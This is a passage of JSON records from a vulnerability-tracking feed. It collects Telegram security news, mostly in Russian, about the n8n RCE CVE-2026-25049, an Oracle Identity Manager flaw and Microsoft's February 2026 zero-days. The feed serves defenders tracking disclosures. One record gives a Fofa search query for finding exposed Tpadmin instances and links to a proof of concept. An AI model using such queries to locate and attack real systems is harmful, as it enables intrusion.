\u044d\u043a\u0432\u0438\u0432\u0430\u043b\u0435\u043d\u0442\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u043b \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 n8n \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b 30 \u0434\u0435\u043a\u0430\u0431\u0440\u044f, \u0438 \u0432 \u0438\u0442\u043e\u0433\u0435 12 \u044f\u043d\u0432\u0430\u0440\u044f 2026 \u0433\u043e\u0434\u0430 n8n \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0432\u0435\u0440\u0441\u0438\u044e 2.4.0, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Endor Labs \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u0440\u043e\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0438\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-25049 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e RCE-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430.\n\n\u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0432\u043e \u0432\u0441\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 2.5.2 \u0438 1.123.17 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442, \u0447\u0442\u043e \u043a\u043b\u044e\u0447\u0438 \u043f\u0440\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430\u043c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u043a\u043e\u0434\u0435, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u044d\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0440\u0430\u0436\u0435\u043d\u0430 \u0432 \u0442\u0438\u043f\u0438\u0437\u0430\u0446\u0438\u0438 TypeScript, \u043d\u043e \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0447\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435\u0439 \u0442\u0438\u043f\u043e\u0432, \u0430 \u044d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u043e\u0431\u0445\u043e\u0434\u0443 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 SecureLayer7 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0438 \u0438\u043c \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f JavaScript \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0430 Function. \n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 \u0444\u0438\u0433\u0443\u0440\u0438\u0440\u0443\u0435\u0442 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 PoC \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0433\u0430\u0439\u0434 \u043f\u043e \u044d\u0443\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\nCVE-2026-25049 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2025-68613 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u0435\u0451, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0433\u043e n8n. \u041f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0431\u043e\u043b\u0435\u0435 150 \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a, \u0447\u0442\u043e\u0431\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c n8n \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 (\u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f - 1.123.17 \u0438 2.5.2).\n\n\u0412 \u0438\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u043c\u0438 \u043c\u0435\u0440\u0430\u043c\u0438 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439.\u00a0\n\nPillar Security \u0442\u0430\u043a\u0436\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0440\u043e\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u0441\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u0435\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439.\n\n\u041a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u044f \u043d\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 CVE-2026-25049.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0440\u0430\u0441\u0442\u0443\u0449\u0430\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c n8n, \u043f\u043e-\u0432\u0438\u0434\u0438\u043c\u043e\u043c\u0443, \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u044f, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\u00a0Ni8mare\u00a0(\u0431\u043e\u043b\u0435\u0435 33 000 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c GreyNoise, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0434\u043b\u044f CVE-2026-21858 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438 n8n \u0441 27 \u044f\u043d\u0432\u0430\u0440\u044f \u043f\u043e 3 \u0444\u0435\u0432\u0440\u0430\u043b\u044f).", "creation_timestamp": "2026-02-05T14:53:03.000000Z"}, {"uuid": "79396412-2476-423c-82b0-b125ed295072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2113", "type": "published-proof-of-concept", "source": "https://t.me/realcodeb0ss/311", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-2113\n\nFofa: title=\u201cTpadmin\u201d\n\nproof under bellow/embed \u201ccomment\u201d.", "creation_timestamp": "2026-02-08T00:34:17.000000Z"}, {"uuid": "dd139d44-baea-4cd0-b16d-d83e0b561253", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": "https://t.me/BleepingComputer/24289", "content": "\u200aOracle pushes emergency fix for critical Identity Manager RCE flaw\n\nOracle has released an out-of-band security update to fix a critical unauthenticated remote code execution vulnerability in Identity Manager and Web Services Manager tracked as CVE-2026-21992. [...]\n\nhttps://www.bleepingcomputer.com/news/security/oracle-pushes-emergency-fix-for-critical-identity-manager-rce-flaw/", "creation_timestamp": "2026-03-20T19:31:26.000000Z"}, {"uuid": "01a21756-bb2e-4c09-9531-0b1c24a2a264", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21514", "type": "seen", "source": "https://t.me/true_secator/7897", "content": "\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u0433\u043e PatchTuesday \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 Microsoft \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 6 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0438 \u0442\u0440\u0435\u0445 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 0-day: CVE-2026-21510, CVE-2026-21514, CVE-2026-21513, CVE-2026-21519, CVE-2026-21533 \u0438 CVE-2026-21525.\n\n\u0412 \u043d\u043e\u0432\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043f\u044f\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0440\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 EoP, \u0430 \u0434\u0432\u0435 - \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. \u0412 \u0446\u0435\u043b\u043e\u043c \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f\u043c \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: 25 - EoP, 5 - \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, 12 - RCE, 6 - \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 3 - DoS \u0438 7 - \u043f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, 3 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 Microsoft Edge, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b Secure Boot,\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0442 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442 2011 \u0433\u043e\u0434\u0430, \u0441\u0440\u043e\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u0435\u043a\u0430\u0435\u0442 \u0432 \u0438\u044e\u043d\u0435 2026 \u0433\u043e\u0434\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows 10.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0443\u043b\u0435\u0439 \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043a\u0443\u0447\u043d\u043e:\n\n- CVE-2026-21510: \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows SmartScreen \u0438 Windows Shell.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\u043b\u0438 \u0444\u0430\u0439\u043b\u0430 \u044f\u0440\u043b\u044b\u043a\u0430. \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 Mark of the Web.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows SmartScreen \u0438 Windows Shell, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0443\u044e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows Shell, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0435\u043d\u0442, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f Microsoft MSTIC \u0438 MSRC, \u0433\u0440\u0443\u043f\u043f\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Office, Google \u0438 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u043c\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \n CVE-2026-21513 \u0438 CVE-2026-21514.\n\n- CVE-2026-21513: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Internet Explorer \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 HTML- \u0438\u043b\u0438 LNK-\u0444\u0430\u0439\u043b\u044b.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441\u043e \u0441\u0431\u043e\u0435\u043c \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0437\u0430\u0449\u0438\u0442\u044b MSHTML Framework, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0438. \u0414\u0430\u043d\u043d\u044b\u0435 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\n\n- CVE-2026-21514: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Word, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b OLE.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b Office \u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0435\u0433\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0435\u0433\u043e.\n\nMicrosoft \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432 \u043f\u0430\u043d\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 Office. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043e, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e CVE-2026-21510, CVE-2026-21513 \u0438 CVE-2026-21514 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0434\u043d\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438.\n\n- CVE-2026-21519: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u043a\u043e\u043d \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 Windows.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u041d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0431\u044b\u043b\u0430 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u0430\u0442\u0430\u043a\u0430, \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f.\n\nMicrosoft \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043b\u0438\u0448\u044c \u0442\u043e, \u0447\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043d\u0442\u0440\u0430\u043c Microsoft MSTIC \u0438 MSRC.\n\n- CVE-2026-21525: 